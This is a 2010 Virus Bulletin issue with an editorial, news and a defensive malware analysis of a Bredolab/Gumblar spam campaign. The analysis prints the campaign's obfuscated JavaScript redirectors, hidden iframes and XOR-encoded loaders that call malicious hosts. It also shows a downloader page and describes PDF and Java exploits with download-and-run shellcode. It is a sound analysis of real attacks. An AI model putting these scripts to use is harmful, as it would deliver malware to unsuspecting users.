Virus Bulletin - October 2010

Editor

Helen Martin

Technical Consultant: John Hawes

Technical Editor: Morton Swimmer

Consulting Editors: Ian Whalley, Nick FitzGerald, Richard Ford, Edward Wilding

2010-10-01

Abstract

Changing times (comment); It's just spam, it can't hurt, right? (malware analysis); Rooting about in TDSS (malware analysis); Anti-unpacker tricks - part thirteen (technical feature); On the relevance of spam feeds (feature); Things to come (review feature); VB100 comparative review on Windows Server 2003 (comparative review)

Table of Contents

1. Comment
2. News

3. Malware prevalence report

4. Malware analyses

5. Technical feature

6. Feature

7. Review feature

8. Comparative review

9. Calendar

Chapter 1. Comment

Changing times

Helen Martin

Virus Bulletin

Editor

Helen Martin

Copyright © 2010 Virus Bulletin

2010-10-01

Abstract

‘Ten years ago the idea of malware writing becoming a profit-making industry simply wasn’t on the radar.' Helen Martin, Virus Bulletin

By the time this issue of VB is published Virus Bulletin will have celebrated the 20th anniversary of the VB conference.

The inaugural VB conference took place in September 1991 – before the term ‘malware’ had been dreamt up and when ‘spam’ was still just a form of tinned luncheon meat. The conference programme spanned two days in a single-stream format, and amongst the material presented, delegates heard that IBM had over 400 different computer viruses in its collection.

Since then, of course, times have moved on – the conference now takes place over three days, in a double-stream format, and the number of speakers and delegates has more than doubled. Times have moved on in the industry too, and for anyone who wasn’t involved in it 20 years ago, the idea that a security company would be proud to have 400 different pieces of malware in its collection seems hard to believe.

But even ten years ago the situation was dramatically different from the world we live in today.

In September 2000 the VB conference celebrated its 10th birthday in Orlando. The keynote address was a paper by IBM’s Steve White entitled ‘Virus Bulletin 2010 – a retrospective’. In it, Steve wrote as if he was an AV researcher living in 2010 looking back on the last ten years of the industry.

While mostly very tongue-in-cheek, a substantial amount of what he wrote was accurate.

He predicted that by 2010 the PC would no longer be the most prevalent computing platform in the world, having been overtaken in number by pervasive computing devices – in other words, PDAs and web phones.

He predicted that dramatically falling prices for commercial computing systems would result in their commoditization and widespread use throughout the world, and he predicted that broadband Internet access from most of the developed world would put much of the earth’s population online 24/7.

However, not all of his predictions were as accurate: he predicted that in 2010 there would be nearly 500,000 viruses in existence – not 500,000 new viruses per month or per week, but 500,000 in total. Today we see in the region of 50,000 new malware files every day. Indeed, in another paper from VB2000 Paul Ducklin described how anti-virus vendors were in the habit of exchanging entire malware collections once a month – with a typical collection ranging in size from 5MB to 10MB. Today, typical malware collections occupy terabytes of disk space, and sharing new samples even on a daily basis takes gigabytes of network bandwidth.

Steve’s paper also failed to pick up on possibly the greatest change we have seen in the malware scene – the change in motivation of malware authors.

Even in some of his seemingly more far-fetched descriptions of virus outbreaks – such as the one he wrote of that brought down the 25th largest bank in the world, or the one that altered victims’ electronic tax returns, there was no mention of malware authors issuing ransom demands, syphoning money out of accounts or stealing data, and so on. Once again, this is a reflection of how much the malware scene has changed – ten years ago the idea of malware writing becoming a profit-making industry simply wasn’t on the radar, while today, the profits generated by cybercrime worldwide are rumoured to match the revenues yielded by the illegal drugs trade.

With such dramatic changes over the last ten years, one has to wonder what the next ten years will have in store for the industry – to quote Eugene Kaspersky (see VB, October 2000, p.19), ‘I can’t predict precisely what will happen in the future, but I’m pretty sure that computer crime and cyber hooligans will not disappear.’

Steve White’s VB2000 paper can be downloaded from http://www.virusbtn.com/conference/vb2000/vb2000White.pdf – although I regret to say that despite our best efforts Virus Bulletin’s technical people are still unable to get the ‘touch references’ to work…

Chapter 2. News

Overall fall in fraud, but online banking losses rise

Helen Martin

Virus Bulletin
UK

Editor

Helen Martin

Copyright © 2010 Virus Bulletin

2010-10-01

Abstract

Leading trade association reveals that banking and credit card fraud in the UK fell overall in 2009, with a decrease in all areas apart from online banking.

A leading trade association for the cards industry in the UK has revealed that banking and credit card fraud fell overall in 2009, with a decrease in all areas apart from online banking, which saw an increase over the previous year.

The UK Cards Association has reported that in 2009, online banking losses in the UK totalled £59.7 million – a 14% rise on the 2008 figure. The increase in online banking losses despite decreases in fraud in other areas is believed to be due to criminals using more sophisticated methods to target customers through malware, while the increased use of advanced fraud detection tools by banks and retailers has successfully reduced fraud in other areas.

The number of phishing attacks recorded during 2009 rose, with a 16% increase on the number reported in 2008. The association also collated information on phone banking fraud losses for the first time in 2009, recording a total of £12.1 million. Most of these losses will have been due to customers falling victim to phishing attacks either by cold calling or via email.

Cybersecurity Awareness Month

Helen Martin

Virus Bulletin
UK

Editor

Helen Martin

Copyright © 2010 Virus Bulletin

2010-10-01

Abstract

Seventh National Cybersecurity Awareness Month in the US.

October 2010 marks the seventh annual National Cybersecurity Awareness Month sponsored by the US Department of Homeland Security. Free materials such as posters, banners and brochures are available to help educators raise awareness and a series of tip sheets provide in-depth information on how to stay safe in a variety of online settings. A number of awareness events will also be running throughout the month, details of which are available at http://www.staysafeonline.org/ncsam.

Dip in Canadian Pharmacy spam

Helen Martin

Virus Bulletin
UK

Editor

Helen Martin

Copyright © 2010 Virus Bulletin

2010-10-01

Abstract

Levels of Canadian Pharmacy spam drop following closure of notorious spam affiliate.

Levels of Canadian Pharmacy spam have seen a significant drop following the closure of notorious spam affiliate Spamit early this month.

Spamit, one of the largest fake pharmacy affiliate programs that bombard users with messages advertising pharmaceutical products from Canada, announced its intention to cease operations at the start of the month, claiming that increased attention on its business had made it impossible to continue. A statement on the program’s website read: ‘Because of the numerous negative events [that] happened last year and the risen attention to our affiliate program we’ve decided to stop accepting the traffic from 1.10.2010.’ Cisco and several other sources reported a decrease in global spam volumes immediately following Spamit’s closure.

Chapter 3. Malware prevalence report

Table of Contents

August 2010

August 2010

Abstract

The Virus Bulletin prevalence table is compiled monthly from virus reports received by Virus Bulletin; both directly, and from other companies who pass on their statistics.

See the latest malware prevalence report online here.

Chapter 4. Malware analyses

It's just spam, it can't hurt, right?

Gabor Szappanos

VirusBuster
Hungary

Editor

Helen Martin

Copyright © 2010 Virus Bulletin

2010-10-01

Abstract

One nice summer’s day, emails started flooding into Gabor Szappanos's mailbox with a spam-like message and a suspicious-looking attachment. The messages promised news on the latest FIFA World Cup scandal, so he took a look. In fact, the messages were not only distributing spam, but also members of the Bredolab family, and were doing so using the infamous Gumblar distribution architecture. Gabor describes the working of the attack.

Table of Contents

Message bodies
Methods used

refresh

refresh_enc

refresh_mal

plainurl

var_loc

replace

replace_ind

repl_dual

xor

xor_adv

Attack stages in detail

Stage 1: email

Stage 2: dispatcher

Stage 3: attack selector

Stage 4a: PDF

Stage 4b: HTML

Where do you want to go today?

It all began on a nice summer’s day. Emails started flooding into my mailbox with a spam-like message and a suspicious-looking attachment. The same messages were also captured in our spam traps. The messages promised news on the latest FIFA World Cup scandal, and as a soccer fan I was curious, so I took a closer look.

Having been in this business for a few years, I was not surprised to see a spam campaign riding on the back of the latest news event. On the contrary, I would have been surprised not to have seen any.

The attachment led to a redirected page, which turned out to be a pharma spam message. So it seemed that it wasn’t too dangerous, ‘just’ spam. But the means of reaching this spam was far more complicated than can reasonably be justified, leading me to believe that it couldn’t be that simple – and, as it turned out, it wasn’t.

In fact, the messages were not only distributing spam, but also members of the infamous Bredolab family. To do all of this, the even more infamous Gumblar distribution architecture was used.

There are already some excellent descriptions of the Gumblar architecture and distribution methods [1], [2], [3] so I will focus instead on the intermediate steps leading to the final system compromise. I will attempt to make clear the working of the attack, point out the role of each building block during the process, and even give a few tips on the analysis of these scripts.

The activities of the group behind this attack were observed over a period of one month, using email messages collected in multiple spam traps. I am quite sure that more distribution sites were involved in the attack than are described here, but I will enumerate only those that I could connect with certainty to the group – either using the same distribution sites or using similar methods.

Message bodies

The bait on the hook – the spam messages – covered a wide range of common lures: account suspension notifications, Facebook/Skype password reset requests, the promise of interesting photos, new private messages received, new e-card received, and so on. In the early days, messages promised news of the FIFA World Cup scandal as well as something that’s never missing from a large-scale seeding: the promise of pornographic content in the attachment.

Methods used

Over the observation period, several activation methods were observed, which are documented in this section. The beginning of the campaign was dominated by the simple replace method, and the end by the more complicated xor and xor_adv, while the plainurl method appeared at various points throughout the campaign. The rest of the methods were used only occasionally and inconsistently.

At the very beginning of the timeline there was a massive seeding, which was followed by a more moderate seeding with continuously changing distribution methods. Figure 1 illustrates the different methods used over time. The rare ones, that were used only once (repl_ind, var_loc, refresh_mal) have been omitted to make the chart clearer.

Figure 1. Distribution methods.

refresh

In this method the malicious code is attached to the message (as a base64-encoded attachment), and the message body attempts to persuade recipients to open it.

The attached code is a simple HTML refresh tag, usually with the first-stage dual distribution page as a target:

<meta http-equiv=”refresh” content=”0;url=http://miphillylatino.com/index3.html” />

refresh_enc

This method was used only once during the observation period (on 15 July), but in reasonably large number. It is essentially the same as the refresh method, the only enhancement being the URL encoding used on top of the refresh tag, in the form:

<script type=”text/javascript”> <!-- HTML encodyd --> <!-- document.write(unescape(‘%3C%6D%65%74%61%20%68%74%74%70%...%20%2F%3E%0A’)); //--> </script>

The typo (‘encodyd’) is courtesy of the malware author.

refresh_mal

This method was used in a single case, at the end of the timeline on 22 July.

The attachment is the same script (structurally) as the one that was downloaded in most cases as the second-stage dispatcher:

PLEASE WAITING... <meta http-equiv=”refresh” content=”4;url=http://knewname.com” /> <iframe src=’http://bellday.ru:8080/index.php?pid=10’ width=’1’ height=’1’ style=’visibility: hidden;’></iframe>

Despite consisting of only two words, the message is grammatically poor, suggesting that the author is not extremely proficient in English.

plainurl

It doesn’t get simpler than this: the message body itself contains the hyperlink to the first-stage distribution page, embedded into the body text:

<p style=3D”margin-top:5px;font-size:10px;color:#888888;”> If you received this message in error and did not sign up for a Twitt= er account, click <a href=3D’http://jimjewell.com/z.htm’>not my account</a>. </p>

var_loc

Established as a very simple code in the base64 attachment, this method was in use for just two days (14 and 15 July), in between far more complicated methods, for no obvious reason.

<script language=’javascript’> var1=49; var2=var1; if(var1==var2) document.location=”http://www.i-dda.com/index3.html”; </script>

replace

Here, the active code is in a base64 attachment, with an enticing message body to lure the reader into opening it.

If we reduce the code to its basics, it sets document.location.href to the distribution page. But it does so in an unusual way, by defining a function class, and referencing the ‘constructor’ of the class:

<script type=’text/javascript’> function mD(){}; mD.prototype = { creator : function() { var a=’http://mvblaw.com/z.htm’; var iD=document[‘location’]; iD[‘href’]=a; } }; var b=new mD(); b.creator(); </script>

One of the common tricks used in this family is to refer to object methods in the form document[‘location’] instead of the more conventional document.location. The advantage of this approach is that, being a string constant, the replace trick could be used on the ‘location’, thus making analysis and detection more complicated:

document[‘l.oSc<a(t<i_oSnS’.replace(/[S_\<\(\.]/g, ‘’)];

The string constants (‘location’, ‘href’ and the URL) are used in a replace construct, which could be more sophisticated, but in this case one random character is inserted after each character in the string (the ‘random’ characters are carefully selected to avoid using any that appear in the string), and these are replaced to an empty string, as follows:

var a=’hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg’.replace(/[gJG,\<]/g, ‘’);

Furthermore, random junk do-nothing variable assignments are inserted into the code. Typical junk assignment types are the following:

this.aB=43719; var w=new Date(); this.j=’’; var x=function(){}; y=””;

To extract the URL used by the malware, the junk instructions must be removed. This is made easy by the fact that the random variables in these instructions are never referred to again in the code. Here, a token-highlighting text editor, like Notepad++, could prove handy, easily revealing the scope of a variable.

After that the replace instructions are resolved by removing the junk characters in the strings. Once the first sample of this kind had been analysed, a shortcut was possible. It was easy to find the garbled URL replace construct in the code (by finding the .replace instruction), then by concentrating on that single instruction it was easy to extract the URL. Even better, thanks to the shortcomings of the string obfuscation algorithm, one could almost blindly remove every second character to reach to the destination point.

replace_ind

This method was used on only one day, 23 June.

Basically it is the same as the replace method, but uses more sophisticated obfuscation with additional junk codes and even simple fake code constructs:

var lA=function(){return ‘lA’} var t=false; var i=new Array();

The schematics of the code show more advanced coding (error handling, wrapping replace to a function call):

<script type=’text/javascript’> function main(){}; main.prototype = {construct : function() { var _document=document; var _window=window; try { window.onload=function() { rT=_document[‘location’]; rT[‘href’]=’http://myhometourgallery.com/xxx.html’ }; } catch(aA) { _document.write(‘<html ><head ></head><body ></body></html>’); var k = this; _window[‘setTimeout’](function(){ k.construct();}, 232); } }; var xCG=new main(); xCG.construct(); </script>

In case the document.location.href method fails, an error handler retries it some time later (and, just to be safe, clears the content to an empty document).

Extracting the target URLs was only slightly more complicated than it was for the replace method. Instead of searching for .replace, one could look for the garbled URL. Whatever code generator the malware authors used, it had inserted a single garbage character after each character of the protected string. This made the URL easy to spot (e.g. by searching for the ‘h.t.t.p.:././’ regexp either by using a script or visually).

repl_dual

This method appeared surprisingly early in the timeline, and was only used on a couple of occasions. In fact, it was the earliest observed delivery method, which included access to the first-stage spam-malware landing pages. Around a day later, another delivery layer was added to this multi-stage attack, and access to the spam and malware landing page was pushed one layer further.

<script type=’text/javascript’> function main(){}; main.prototype = { url : function() {return ‘http://sonnose.ru:8080/index.php?pid=10’;}, construct : function() { var _window=window; var _document=document; try { var iframeobj=document[‘createElement’](‘iframe’); iframeobj[‘setAttribute’](‘src’, this.url()); iframeobj[‘setAttribute’](‘height’, “1”); iframeobj[‘setAttribute’](‘width’, “1”); _document[‘body’][‘appendChild’](iframeobj); } catch(aU) { _document[‘write’](‘<html ><body ></body></html>’); _window[‘setTimeout’](function(){ this.construct() }, 319); } } }; var newobj=new main(); newobj.construct(); </script> <script type=’text/javascript’> function main(){};main.prototype = { construct : function() { function _url(m, v){m.href=v;} n=document[‘location’]; _url(n, ‘http://toldspeak.com’); } }; var f=new main(); f.construct(); </script>

Despite its early appearance, the code is more complex than its successors. Two script tags are present, the first for referring to the malware distribution page, opening it in a 1x1 pixel iframe, and the second for the spam distribution page. The junk instructions inserted into the code are the same as for the repl_ind method.

xor

This was the first of the activation methods to cause me a headache. Messages utilizing this method appeared on 1 July. An easily locatable URL was no longer present in the script. Being the lazy analyst that I am, I didn’t start dissecting the code and wasting precious hours. Instead, looking for clues, the first thing I spotted was a long string at the beginning of the code:

sF=’f3f0fcf’+’eebf6f0’+’f1b1f7e’+’dfaf9bf’+’a2bfb8f’+’7ebebef’+’a5b0b0e’+’8f7f6eb’+’fef4fae’ +’df2fafb’+’f6fcfef’+’3b1fcf0’+’f2b0f6f’+’1fbfae7’+’acb1f7e’+’bf2f3b8’+’a4’;

Clearly, it had to be a hex string, which I hoped contained the URL in some construct.

Another clue that I found was an xor inside the code:

return m^bI;

So to make my life easier, I assumed that the URL was stored as a static xor-encoded string. Only the key was in question, which was acquired using a known-plaintext attack. The URL should contain ‘http://’, with two repeating bytes (t and /) near each other. In the encrypted string this pattern appeared only once (eb and b0), therefore we had 0x74->0xeb and 0x2f->0xb0 transformations. Fortunately, both led to the same xor key, 0x9f. Applying this key to the string led to the text:

location.href = ‘http://whitakermedical.com/index3.html’;

Later on, I dissected the code further. It turned out that I had been lucky with the shortcut I found – had I tried to analyse the code in the traditional way, I would have stepped onto various landmines, placed in the code to make analysis more complicated.

The code was full of junk instructions. Apart from the one already listed, new elements occurred which were more complicated and realistic constructs:

var oK;if(oK == ‘fIF’){oK=0;}; var mU;if(mU!=’’ && mU!=’uHN’){mU=null}; var yU = Math.ceil(47); var nC = Math.random();

Not only that, but the string obfuscation (discussed in the replace section) moved one step further. This time, instead of replace constructs, all sorts of (and even mixed) escape constructs were used, resulting in representations such as [‘\u0067\u0065\u0074’+unescape(‘%53%65%63%6f%6e%64%73’)] for [‘getSeconds’]. Fortunately, a tool like Malzilla can make the deobfuscation of these strings easier.

The cleaned up code has the following scheme:

<script> var url; url=’f3f0fcfeebf6f0f1b1f7edfaf9bfa2bfb8f7ebebefa5b0b0e8f7f6ebfef4faedf2fafbf6fcfef3b1fc f0f2b0f6f1fbfae7acb1f7ebf2f3b8a4’; function main(encrypted_url){ var date_act = new Date(); var sec_act = (date_act[‘getHours’]()*3594)+(date_act[‘getMinutes’]()*58)+date_act [‘getSeconds’](); var w = sec_act - sec_start; if(w < 0) w = 1; if(w > 1) w = 1; var b = document; //unused var pH = ‘’; for(var i=0; i < encrypted_url[‘length’]; i+=2){ pH+= ‘%’ + encrypted_url[‘substr’](i, 2);} var encrypted_url = window[‘unescape’](pH); var decrypted_url = ‘’; for(var j=0; j < encrypted_url[‘length’]; j++){ var nextchar = encrypted_url.charCodeAt(j); nextchar = nextchar ^ (158 + w); decrypted_url+=String[‘fromCharCode’](nextchar); } window[‘eval’](decrypted_url); return decrypted_url; } var date_start = new Date(); var sec_start = (date_start[‘getHours’]()*3594)+(date_start[‘getMinutes’]()*58)+ date_start[‘getSeconds’](); setTimeout(‘main(url)’, 1030); </script>

So, the malicious URL is opened via location.href, which is activated from a setTimeOut activation. The timeout value is about one second in each of the observed cases.

The time is queried at the beginning of the code, and then again after the timeout period has expired (about 1s). If the time difference between the two is 0 (in seconds), then the xor key for decoding will be 0x9e (a bogus value); in any other case it is the correct 0x9f. If the code is modified for easier analysis by replacing the timeout with a direct call, or reducing its length, then the garbage string will be decoded instead of the URL.

xor_adv

At first sight, this script looked just like the xor case, even the encrypted string could be spotted, and the xor operation was also there, but the string itself did not show the pattern of repeating bytes – a clear indication that a more complex encryption (based on xor) had been used.

Fast forwarding and skipping the painful operation of cleaning and simplifying the code, the end result was this:

var string_to_decode; string_to_decode=’b1abb8b2bab2b4baf299ad85a0fbfde7cfaeaeb7a2dff3e8b9ababa1adb9a6aea0b0 bab482acb9a99eb3b5f5aaa2bde8a1bab3a683f1e7b8b8abb7e7f9’; var xor_key=130; function main(encoded_string){ function string_checksum(t){ var l=0; for(var i=2;i<t.length+2;i++){ f=t.charCodeAt(i-2); l=l+f*t.length; } return new String(l); } function init_object(obj, z){ if(u_glob == null) {u_glob = {};} if(u_glob[obj] == null) { u_glob[obj] = new Object(); u_glob[obj].index = 0; u_glob[obj].strval = z;} } function next_objindex(obj) { if(u_glob[obj] != null) { var zV = u_glob[obj]; var objindex = zV.index; var eZ = zV.strval; var b = eZ.substr(objindex, 1); if(objindex + 1 < eZ.length) {zV.index = objindex + 1;} else {zV.index = 0;} return b.charCodeAt( 0); } } var u_glob = null;var _String=String; var function_body = new String(lJ); var c = ‘’; var zZ = ‘’; var j=0; while(j < encoded_string.length){ zZ+= “%” + encoded_string.substr(j, 2); j+=2; } var encoded_string = unescape(zZ); var normalized_body = function_body.replace(/[^@a-z0-9A-Z_-]/g, “”); var checksum = new String(string_checksum(normalized_body)); init_object(‘normalized_body’, normalized_body); init_object(‘checksum’, checksum); var lM=0; while(lM < 10000) { var i = encoded_string.charCodeAt(lM); if(isNaN(i)) break; i = i ^ xor_key; i = i ^ next_objindex(‘checksum’); i = i ^ next_objindex(‘normalized_body’); c=c+String.fromCharCode(i); lM++;} window[‘eval’](c); }; main(string_to_decode); function lJ(nU){var sR=’’;var gU=’’;function y(f){var fL=new Array(); … var fEM = Math.ceil(18);var yU=new Date();}

In short, apart from the static key, each byte of the encoded string is xor-ed with a circularly indexed byte from the normalized full function body (white spaces are removed), and the string representation of a checksum calculated over this normalized body. Obviously, the circular indexing only has an effect on the latter, as the normalized body is much longer than the encrypted string.

What I found interesting was this piece of code:

var h = new String(document.write); if(h[indexOf](‘arity’) != -1) { return 130;}

It is located in the function which returns the xor key. It has no effect, as later in the code it will return the same value regardless. This must be the remainder of some intermediate development stage, but its exact meaning is not clear. Nevertheless, it is not the only case where debug instructions were left in the code.

Attack stages in detail

Although there were some exceptional cases, the vast majority of attacks followed the stages described in Figure 2, which shows the actual addresses used in one of the analysed cases (which were dead at the time of writing this article).

Figure 2. General attack scheme.

The attack progresses in many stages, starting with replaceable, short-lived pages, and going via redirections to longer lifetime spam and a malware landing page. During the observed period, the intermediate pages changed a few times, while the landing pages had lifetimes measurable in days.

Stage 1: email

The first stage is always an email. We will consider the most common case.

The email contains a link to a dispatcher HTML page, with dual distribution content using one of the methods described in the previous section (except repl_dual).

Stage 2: dispatcher

The second stage is of the same form, with the spam landing page being open via HTTP refresh. The intermediate malware distribution page is opened via a hidden iframe:

<meta http-equiv=”refresh” content=”3;url=http://mouseultra.com/” /> <iframe src=’http://cache.lamcfoundation.org:8080/index.php?pid=10’ width=’1’ height=’1’ style=’visibility: hidden;’></iframe>

At this point the spam and malware distribution forked, pointing to totally different sites. I should note that we have not observed a single overlap between the two types of sites.

Special care had to be taken when fetching the malware content with static analysis tools like wget – the distribution site returned malcode only if the referrer of the query was the spam landing site; otherwise a zero length file was received. Similar behaviour has already been reported for the Gumblar architecture.

Stage 3: attack selector

The returned malcode is a moderately obfuscated encrypted JavaScript, with some additional spice to it.

The string constants were garbled with the same replace trick as described earlier – with the same limitation (exactly one garbage character inserted after each character). Junk (string) variable assignments were inserted into the code, with the interesting characteristics that eventually the same assignment did appear several times in the code.

The scheme of the code is as follows:

<html><head><title>Dkxl5pxegj6fr6rcu5</title></head><body> <div style=”visibility: hidden;”><div name=”part1” id=”part1”>7T99T114T107T96T113T102... T37T35T64T</div> ... <div name=”part5” id=”part5”>6T57T91T44T32T35T35T38T33T102...T118T37T38T56T7</div> <script type=”text/javascript” language=”javascript”> document.write(‘<script src=jquery.jxx?build=2.1.7></script>’);</script> <script> var encoded_string = “”; encoded_string +=document.getElementById(“part1”).innerHTML; ... encoded_string +=document.getElementById(“part5”).innerHTML; if ( typeof(separator_char) == “undefined”) separator_char = “Cpwj9is0h”; function decrypt(encoded_string) { char_array = encoded_string.split(separator_char); var local_decoded = “”; for (var i=0;i<char_array.length-1;i++) { nextchar = parseInt(char_array[i]); nextchar += 3; local_decoded += String.fromCharCode(nextchar); } return(local_decoded); } document.write(‘<script>’); document.write(decrypt(encoded_string);); document.write(‘</script>’); </script></body></html>

At first sight the encrypted content is clearly a hex string, with each character separated by a ‘T’ separator, and it is stored in div tags in the HTML body, later referenced by getElementById. Then the encryption is an extremely simple increment by 3 (which changed in subsequent versions to 4 or 2).

The interesting part is the highlighted section of the code, which assigns the value ‘Cpwj9is0h’ to the separator character – not the same as the intuitively guessed ‘T’ – which is clearly nonsense. The solution is in the bolded part of the code, which is a separate script reference to jquery.jxx (commonly reported in connection with Gumblar architecture). The code fetched from this query is trivially:

eval(“separator_char =’T’;”);

Thus, if the script undergoes blind static analysis, or a dynamic analysis is performed offline, the result will be an empty string. Only if the correct separator is fetched (or guessed) can the script be decrypted.

Needless to say, the decrypted code itself is obfuscated, but only slightly (one can always observe in malware analysis that as we go deeper, the protection becomes less complicated). Only the string constants are garbled with the very same replace construct that is used throughout this malware family.

After stripping down to the basics, the first part of this script downloads the binary malware file from the URL ‘http://lib.willyselectronics.com:8080/welcome.php?id=0pid=1’ using the traditional XMLHTTP+ADODBStream method used by the Psyme downloaders.

The second part of the code downloads to an iframe an HTML page and a PDF file:

function download_pdf_html(){ pdf_array = new Array(“AcroPDF.PDF”, “PDF.PdfCtrl”); iframe_open = ‘<iframe’); iframe_close = ‘</iframe>’); for(i in pdf_array) {try { Shkbje = new ActiveXObject(pdf_array[i]); if (Shkbje) { document.write(iframe_open+’ src=”Notes1.pdf”>’+iframe_close);} } catch(e){} } try {if (navigator.javaEnabled()){ document.write(iframe_open+’ src=”Applet1.html”>’+iframe_close);} } catch(e){} }

The name of the components changed (observed names included Notes10.pdf, Notes6.pdf, Applet10.html and Applet6.html). Interestingly, the Applet*.html download worked in most of the observed cases, but the sites failed to serve Notes*.pdf in most cases.

The downloaded executable is the usual Bredolab downloader. The cascade of events after executing it is already reasonably well documented [2], so we will focus on the script parts.

Stage 4a: PDF

The PDF file contains about four FlateDecode streams (although it could be fewer or more). All but one store binary data in ASCII hex representation, and a fifth is a decoder, obfuscated with the methods characteristic of the family, with some additional junk constructs:

xK=[“qP”,”zI”]; var vW={aD:false}; this.yZ=3491;this.yZ--; try {var rM=’qHE’} catch(rM){}; var fO={cRU:”mP”.charCodeAt(9152)}; try {var tKX=’eTC’.substring(7397)} catch(tKX){}; mBY=24528;mBY+=247; xU=function(qZU,fAV,eX,cZ){return qZU-fAV};

Furthermore, in order to reduce readability, the internal functions (also the external) in the code are used via wrapper calls that are extended to have four parameters, although they use only one or two of them.

The stripped-down decoder has the following schematic form:

var decoded_body=””; for(i=0;i<this[‘getPageNumWords’](2);i++){ var nextbyte=this[‘getPageNthWord’](2,i); nextbyte=String[“fromCharCode”](parseInt(substr(nextbyte,0,2),2)^180); decoded_body=decoded_body+decode_byte(substr(nextbyte,0,2)); }; eval(decoded_body);

This decoder grabs the encoded bytes from the PDF file, applies the xor transformation with a static key (180), then executes it using eval().

Of the four FlateDecode streams, three are decoys, containing only garbage, and only one is meaningful code. (In other instances of the same threat the number of junk streams differed.)

The reason for the existence of this PDF file lies in the FlateDecode stream of about 3,000 bytes. It is almost ‘naked’ – not many obfuscation code fragments were used, but there are some complicated constructs, which are hardly distinguishable from the valuable instructions:

this.d=31777;this.d++ x={t:”j”}; var eB={}; try {var oL=’wR’.substr(12679,12679)} catch(oL){};

Notably, this is the first component where the valuable code outnumbers the junk instructions.

The code employs a handful of exploits depending on the Acrobat PDF reader version. As the conditions overlap, there may be versions where multiple exploits are launched.

If the version is above 8, util.printf will be used. If the version is below 8, the Collab.collectEmailInfo exploit is constructed. For versions below 9.1 the Collab.getIcon exploit is employed. Finally, for version 9.1 a media.newPlayer exploit is launched. The exploit codes themselves are pretty much the standard codes used for the particular vulnerability, as expected.

The shellcode itself is stored in the code in UCS2 form, a commonly reused URLDownloadToFile->WinExec code, having been observed in completely unrelated PDF-based attacks in the past. The URL itself is not stored inside this code, but outside in the PDF file, in the Keywords field. It is encoded using a simple replacement cipher, with the keytable being stored in the Author field.

In some of the samples the URL was also stored in the Title or Author files, and the keytable in the eD field, but that can be overcome without even having to analyse the code thanks to the peculiarities of the fields (the keytable contains all alphanumeric characters and only once; the URL contains the recurring ‘t’ and ‘:’ characters in the beginning – both are easily spottable).

Both fields are scattered with spaces to make them look less suspicious. This approach makes it possible to quickly change the URL without having to recompile the entire PDF file. Ironically, in the observed cases quite the opposite happened: the PDF was recompiled (with the shellcode-creating script recompiled using new junk instructions), and the URL itself remained essentially unchanged. The URL observed in the majority of PDFs was http://lib.willyselectronics.com:8080/welcome.php?id=6&pid=1&masha=590227589 with the value of masha being changed across the samples. Additionally, the PDF reader is also appended to the end in the form &? reader_version=%version%.

Uncharacteristically, the code contains debug messages if the Producer field of the PDF file begins with the text ‘debug’. Then, the major operational acts of the code and values of constants like the decoded URL are logged using app.alert.

Stage 4b: HTML

The twin part of the PDF attack is a piece of HTML employing the CVE-2010-0886 exploit in very much the same (not even obfuscated) form as the original proof-of-concept code. It contains the URL in base64-encoded hex representations. In most cases this URL was http://lib.willyselectronics.com:8080/welcome.php?id=11&pid=10&1=1, but there were occurrences where the URL pointed back to the intermediate malware-serving site, in the same form: http://gogoop.casanovarevealed.com:8080/welcome.php?id=11&pid=1&1=1&5d.

Where do you want to go today?

The final spam and Bredolab landing sites all had relatively long lifespans in the attack (ranging from days to weeks), and the intermediate sites didn’t last longer than a day.

Figure 3. Spam dropsites.

On checking the registration information for the utilized domains it all started to become clear. Following the old rule (‘cui prodest?’), the gain of this attack was the distribution of the spam landing site. As this site points to web pages registered in China, registered by Chinese email addresses (except for one notable exception), we can conclude that the attack must originate from China. Case closed.

However, there are more elements to this picture. Looking at the intermediate and final malware distribution sites, a totally different picture can be observed.

Figure 4. Intermediate malware dropsites.

Figure 5. Final Bredolab landing sites.

Most of the identified sites are subdomains of a domain registered via godaddy.com – these sites were probably compromised. Meanwhile, another group of sites were registered in Russia only a few days prior to their use in the attack. The email addresses used for registration appeared only to have been used for this purpose – no legitimate traffic was found relating to these addresses. One of the registrars of this domain, NAUNET-REG-RIPN, is a well-known spam- and malware-friendly provider – the preferred home for Russian cybercriminals [4]. DNRegistrar.ru is also frequently reported in connection with spam and malware.

A couple of these sites were registered in the same way as the intermediate distribution sites, but it is interesting to note that the majority seem to be using hacked legitimate websites, most of which are from godaddy.com, which has been the target in numerous cases of stolen accounts.

To summarize, the spam landing sites were registered in China only for use in the campaign; the intermediate sites are short-lived (often fast-flux) domains registered in Russia; and the final Bredolab landing sites are pretty much the same, except that these sites have a somewhat longer lifespan.

It is interesting to see a totally different approach to the different layers of the distribution. It does not make much sense to overcomplicate it so my only guess is that the different layers were outsourced/rented: the spam landing site was borrowed from a spam distribution group, and the group behind this attack was only responsible for the seeded email messages, the intermediate layers and the final Bredolab landing page. It may be a far-fetched conclusion, but it fits in the domain usage scheme. What also somewhat supports this hypothesis is the fact that the spam messages were written in good English, while the comments in the malware code were not.

The timeline of the intermediate distribution of the sites is rather interesting. In outline, the attack used hacked godaddy.com sites in the beginning and then switched to Russian sites (registered in a hurry, a couple of days beforehand) – a strange change of approach right in the middle of the events. Even more interesting is the story of the first couple of days, where Russian sites were used, along with a distribution method that has not been seen since. Moreover, the spam landing site was the one used a couple of transitions later and not in the beginning. Peculiar.

Bibliography

[1] Danchev, D. Spamvertised Amazon ‘Verify Your Email’, ‘Your Amazon Order’ Malicious Emails. Dancho Danchev’s Blog – Mind Streams of Information Security Knowledge. http://ddanchev.blogspot.com/2010/07/spamvertised-amazon-verify-you-email.html.

[2] The Cash Factory. Securelist. http://www.securelist.com/en/analysis/204792083/The_Cash_Factory.

[3] Kadiev, A. Web server-based malware - the Pegel case. Security Analyst Summit 2010.

[4] cashweed.ru. McAfee SiteAdvisor. http://www.siteadvisor.com/sites/cashweed.ru.

Rooting about in TDSS

Aleksandr Matrosov

ESET
Russia

Eugene Rodionov

ESET
Russia

Editor

Helen Martin

Copyright © 2010 Virus Bulletin

2010-10-01

Abstract

During the course of their research into the TDSS rootkit, Aleksandr Matrosov and Eugene Rodionov developed a universal utility for dumping the rootkit’s hidden file system. Here they provide the details [1]

Table of Contents

Easy money

Encrypted file system

File system structures

Not so long ago one of our clients asked us to analyse a set of TDSS droppers, and to locate the source of the threat. As is described in a much lengthier report [2], we found evidence to suggest that a well-known cybercrime group was involved in the distribution of the rootkits.

